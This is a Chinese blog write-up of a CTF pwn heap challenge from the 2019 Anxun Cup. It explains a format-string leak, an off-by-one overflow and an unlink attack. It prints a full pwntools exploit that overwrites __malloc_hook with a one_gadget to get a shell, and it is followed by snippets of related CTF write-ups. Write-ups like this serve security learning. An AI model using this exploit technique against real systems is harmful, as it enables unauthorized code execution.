【Pwn】2019安洵杯线上赛 Heap

【pwn】2021 祥云杯 (部分) 【pwn】2021 祥云杯 (部分) 前言 国庆的最后几天,一直在补题,发现祥云杯那个时候一道堆题都不会,直接开始补题。 补题过程中,发现自己还是太菜了,对着师傅们的wp都有些不明白.jpg 1、note 这应该是祥云杯里最简单的题目了QAQ。但是之前没有学过IO,参考一位师傅写的这篇博客,pwn题堆利用的一些姿势 – IO_FILE 漏洞点在于scanf的格式化字符串,可以任意位置写。发现stack中有_IO_2_1_stdout_那么,我们写入p64(0xfbad1800) + p64(0)*3来泄露 阅读详情

一道常规的pwn题,查看程序保护。
在这里插入图片描述
保护全开。分析程序发现bannar函数有格式化字符串漏洞,可以用来泄露代码段基址以及Libcdi地址,edit函数有一字节溢出,可以修改next chunk的size,且chunk指针存储在bss段上想到unlink。由于开了Full Relro所以直接劫持malloc_hook,unlink的时候注意绕过以下check。

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // next_size related
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);   

exp

from pwn import *

io=remote('xx.xx.xx.xx',xxxxx)
libc=ELF('./libc-2.23.so')

def add(inx,size,data):
    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil('create (0-10):')
    io.sendline(str(inx))
    io.recvuntil('a size:')
    io.sendline(str(size))
    io.recvuntil('content: ')
    io.send(data)

def free(inx):
    io.recvuntil('>> ')
    io.sendline('2')
    io.recvuntil('index:')
    io.sendline(str(inx))

def edit(inx,data):
    io.recvuntil('>> ')
    io.sendline('4')
    io.recvuntil('index')
    io.sendline(str(inx))
    io.recvuntil('content: ')
    io.send(data)

io.recvuntil('your name: ')
io.sendline("%11$p%15$p")
io.recvuntil('Hello, ')
ret=io.recv(14)
text_base=int(ret[2:],16)-0x001186 
libc_base=int(io.recvline()[2:],16)-0x20830
print(hex(text_base),hex(libc_base))

x=text_base+0x0202080#2
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0xf1147

add(0,0x88,'a\n')
add(1,0x88,'b\n')
add(2,0x88,'c\n')
add(3,0x88,'d\n')

pl=p64(0)+p64(0x80)+p64(x-0x18)+p64(x-0x10)+'a'*0x60+p64(0x80)+p64(0x90)+'\n'
edit(2,pl)
free(3)

edit(2,p64(0x88)+p64(malloc_hook)+'aa\n') #1
edit(1,p64(one_gadget)+'\n')
io.interactive()
heap pwn 入门大全 - 1:glibc heap机制与源码阅读(上) 本文为笔者学习heap pwn时,学习阅读glibc ptmalloc2源码时的笔记,与各位分享。可能存在思维跳跃之处,敬请见谅 阅读详情

相关推荐

安恒杯月赛题目参赛源码+项目说明.zip

【资源说明】 1、该资源包括项目的全部源码,下载可以直接使用! 2、本项目适合作为计算机、数学、电子信息等专业的竞赛项目学习资料,作为参考学习借鉴。 3、本资源作为“参考资料”如果需要实现其他功能,需要能看懂代码,并且热爱钻研,自行调试。 安恒杯月赛题目参赛源码+项目说明.zip

2023年安洵杯_pwn_个人writeup

2023年安洵杯pwn题解

xy1458214551的博客 811

京瓷扫描驱动安装_京瓷喷头拆解和供墨原理剖析

在工业喷头打印领域,京瓷喷头作为主流喷头广泛应用于喷墨行业,目前京瓷喷头市面上销售主要有两个系列:KJ4A和KJ4B。其中KJ4A系列设计是用于油性墨水,例如UV墨水,主要用在广告领域;而KJ4B设计用于水性墨水,例如活性、分散墨水等,主要用在数码印花领域。最近我们团队对京瓷喷头进行了拆解分析,本期和大家分享一下我们对京瓷喷头拆解和喷头供墨原理的研究。京瓷喷头介绍1. KJ4A系列(油性)如下图所...

weixin_39883906的博客 1673

[安洵杯 2019]Attack (详细解析)

本文章向大家介绍BUU MISC刷题记录 [安洵杯 2019]Attack,主要包括BUU MISC刷题记录 [安洵杯 2019]Attack使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。...

weixin_66146598的博客 5174

Python办公自动化:用python-docx打造专业级Word表格边框(附完整代码)

本文深入探讨了如何利用python-docx库精细控制Word表格边框,实现办公自动化。通过解析底层XML结构,提供了通用的`set_cell_border`函数,并附上完整代码,帮助用户轻松打造符合商业规范的专业级表格,提升报告、合同等文档的生成效率与视觉效果。

weixin_29089057的博客 546

FreeFEM++下载安装和使用

最近要利用机器学习求解一些偏微分方程,对于一些复杂的偏微分方程,需要一些精度比较高的参考解,导师推荐了FreeFEM++软件。首次使用,特此记录一下,以备以后查阅。 1、FreeFEM++简介 FreeFEM是开源的有限元模拟系统,有法国利翁斯实验室、埃尔和玛丽居里大学共同开发,在世界范围内广泛使用。 2、FreeFEM++去何处下载? 下载地址:https://freefem.org/ 点击Download,然后会跳转到 https://github.com/FreeFem/FreeFem-source

夜晓岚的博客 1万+

CTF-Crypto-学习笔记

最常见的字符编码规范 ASCII 为了在计算机中表示字符,在设计编码的时候用1个字节也就是8bit位数来编码英文字符集 拉丁字母及标点符号 阿拉伯数字 一些控制字符 这就是 ASCII(American Standard Code for InformationInterchange, 美国信息交换标准代码) Python中,使用 chr( ) 函数可得 ASCII 对应的字符,使用 ord( ) 函数可得字符的 ASCII码。 Unicode 字符集 Unicode(万国码、统一码、国际码)用于编码

小龙在线 1万+

pyecharts可视化图表-tree:从入门到精通

本文系统介绍了树图(Tree Chart)的可视化技巧,包含基础实现、方向定制和环形布局等实例。树图能清晰展示层次结构数据,适用于组织架构、文件系统等场景。教程详细解析了pyecharts树图的核心配置项,包括数据准备、方向设置(下上、右左)和样式定制,并提供了完整代码示例。通过本指南,读者可快速掌握专业树图的构建方法,实现复杂层次数据的可视化呈现。

大数据内容个人总结与分享 1970

安恒杯月赛之以赛战“疫”-- writeup解题思路

CRYPTO-古典密码1 iodj{36g9i2777 符号不变进行凯撒移位 flag{36d9f2777 -... ----. ..--- -... .- -.-. ...-- ----. .- .- ..--- 摩斯解码 b92bac39aa2 a0dd}b6942c07 栅栏密码https://www.qqxiuzi.cn/bianma/zhalanmi...

BlusKing 3027

关于对鱼眼相机图片进行畸变校正的两种思路

鱼眼畸变主要表现为径向畸变(Radial Distortion),图像中心正常,边缘向外拉伸。畸变模型通常基于入射角θ\thetaθ(光线与光学轴夹角)和图像半径rrr的关系。等距投影(Equidistant Projection)rdfθrd​fθ,其中rdr_drd​为畸变图像半径,fff为焦距,θ\thetaθ为入射角。等立体角投影(Equisolid Angle Projection)rd2fsin⁡θ2rd​2fsinθ/2。

qq_45670407的博客 1546

手把手教你学Simulink——基于Simulink的无迹卡尔曼滤波(UKF)控制仿真建模示例

本文详细介绍了在Simulink中实现无迹卡尔曼滤波(UKF)控制倒立单摆系统的完整过程。通过对比扩展卡尔曼滤波(EKF),重点阐述了UKF在处理强非线性系统时的优势:采用无迹变换(UT)通过确定性采样捕捉非线性特性,精度可达三阶泰勒展开且无需计算雅可比矩阵。文章分步骤讲解了状态空间定义、UKF参数设计、Simulink实现方法,以及结合LQR控制器的闭环系统搭建,并通过仿真验证UKF在大角度偏移情况下具有更优的估计精度和控制性能。最后还讨论了工程实践要点和扩展方向,为非线性系统控制提供了实用解决方案。

MHD0815的博客 96

安洵杯-ukfc-wp

访问 shell.php 发现Access denied , 试了好几个网页都不行, 那就写在 "/sEcR@t_n@Bodyknow.php" 里。"ctrl+u" 查看源代码发现两个页面 "/eval" 和 "/login"一个6*10*10的三维迷宫,层穿梭是0124350,只有到达边界才能穿层,所以才有唯一解。利用深度优先搜索和合法判断函数,复杂度很高但是数独很小,肯定可以在限制时间内过掉。为了让自己的努力显得有作用一点,贴一个没写明白的dfs,最后手推了一个小时。传输 POST 传code。

Hama_ecco的博客 633

Spring AI Alibaba实战训练营-28 手把手教你用SAA+ Nacos 构建分布式 MCP 应用

本文介绍如何使用Spring AI Alibaba和Nacos构建分布式MCP应用,实现AI模型与工具服务的动态发现和调用。主要内容包括:1) 项目架构设计,包含MCP Server、Nacos注册中心和MCP Client三个核心组件;2) 环境准备要求,如Java 17+、Maven 3.6+、Nacos 3.1.0+等;3) 详细实施步骤:启动Nacos服务、注册MCP服务端、配置MCP网关聚合服务、设置MCP客户端发现机制。通过这种架构,开发者可以轻松扩展新工具服务,无需修改客户端代码,实现服务动态

program哲学 311

强网杯 2023 Pwn:heap_paradise 详细解题报告

本篇解题报告针对强网杯2023年线下赛Pwn类题目《heap_paradise》。题目考察现代堆利用技术,重点在于结合tcache poisoning与largebin attack实现任意地址写。本报告提供从环境搭建到最终获取flag的完整复现流程,通过详细的代码注释与调试分析,帮助读者掌握堆漏洞利用的核心技巧。本题通过精心设计的堆管理模块,考察选手对glibc 2.31内存管理机制的深入理解。发现未校验size导致的堆溢出结合tcache与largebin的特性构造利用链。

Alfadi联盟 萧瑶的博客 878

海思3516DV300智能算法实现

海思3516DV300智能算法实现

xiaoning132的专栏 936

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

强网杯_2025_线上赛——部分pwn题writeup

这次比赛还是太坐牢了😭,尤其是第一天,坐大牢。简单记录下做出来的pwn题吧。

2401_86553036的博客 1443

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

2024强网杯pwn部分wp

more这道题说实在想复杂了,也算是我知识浅薄吧,看到那个环境变量没想到怎么用跟对队友交流一直在用io进行攻击两种做法:先说我们最开始的做法主要手法:一次部署并largetbin attack+House of apple2 + house of cat +rop+shellcode攻击存在uaf漏洞首先堆块申请被限制了且只有一次修改的机会这让我们非常的困扰如何进行IO攻击。

qq_62531518的博客 979

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

强网杯-PWN-baby_heap

强网杯-PWN-baby_heap

2301_79696060的博客 1205

PWN练习---Heap_1

pwn--堆题部分做题的wp

qq_74259765的博客 1496

【pwn】2021 绿城杯(部分)

【pwn】2021 绿城杯(部分) 前言 补题,这场没报名,比赛的时候机房唯一报名的战队pwn穿了(tql),就没去做了 1、uaf_pwn 简单的uaf,free之后之后没有置0,直接申请unsorted bin泄露libc,再double free改malloc_hook写入one_gadget exp如下 def add(size): sla(">","1") sla("size>",str(size)) def free(index): sla("&gt

woodwhale的博客 3644

2019 安恒周周练西湖论剑特别版 pwn 题目wp

pwn1 考点:构造 shellcode,patch 汇编指令 IDA 查看反汇编,程序的逻辑很简单如,如果 直接 f5 的话 IDA 可能识别不出来函数,问题出在 0x080484CF 这个地方,call eax 指令识别不出来,所以这里可以先 patch 成 nop,之后 f5 就正常了。 程序把输入当成 shellcode 直接来执行,很显然是直接往栈上写 shellcode ...

abc380620175的博客 672

祥云杯2022 pwn - leak

wjh师傅的思路是利用botcake的方法,将unsortedbin和tcache重叠,使得unsortedbin的fd落到tcache的fd,再修改最后两字节,进行libc上地址的申请,可以申请到global_max_fast和stdout,这里由于地址随机化肯定是需要爆破的。算好size之后,delete掉,此时目标地址就会指向堆地址,从而实现了向地址中写入堆地址,因为flag在堆地址里,所以就可以泄露出flag,exp就用的wjh师傅的。当时比赛没有做出来,光顾着泄露libc地址去了。

z1r0的博客 568

祥云杯2022 pwn - sandboxheap

上了sandbox,需要逆一下,在0x2710这里的功能就是允许mport和orw,所以在上面第一次exp的基础上还要再加上一个。下面的exp是笔者第一次直接打sandboxheap的,可以实现orw,然后第二个exp是打题目的,因为题目上了sandbox。这里笔者没有使用SigreturnFrame,直接看的setcontext + 53的汇编然后自己写了一下布局。其实就是一个2.27下的orw,直接拿板子套,直接参考的这位。在上一个heap基础上加了一个沙箱。的2.27下的orw。

z1r0的博客 582

轩辕杯2025 Pwn baby_heap WP(house_of_apple2)

再把Fake_wide_vtable对应的堆填满直到相邻堆的size位,将其修改为' sh'(对应fake_file的flag位),这也是为什么chunk2要设置成0x458,是为了将下一个chunk的size位修改了。Fake_Fake_IO_wide_data:伪造的_IO_wide_data,在偏移0xe0位写入Fake_wide_vtable所在地址。_IO_wide_data:指向Fake_Fake_IO_wide_data的地址(伪造的),这里需要用调试得出。_IO_buf_base置为0。

qq_33348179的博客 498

2021 羊城杯 pwn how2heap

PIE NX RELRO都没开,然后题目说是2.23的libc。 显然是菜单。 add 地址都在bss上面,然后申请到的chunk都是0x20的,前面十个字节实我们可以的输入,再八个字节是输入的大小。 get get函数就是一个输出。 但是我们可以看到在第二个if的时候,result是int类型,所以可以有整数溢出。 del 显然也是一样的问题。 但要注意的是free之后会覆盖上来再凑齐,中间不会留空挡。 而且其实我们注意到这个地方是0x2e,但是前面可以序号一直到0x2f,那么我如果先释放0x.

yongbaoii的博客 283
上一篇: 【Pwn】2019安洵杯线上赛 fmt32 && fmt64
下一篇: 【Pwn】NCTF2019 easy_rop
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值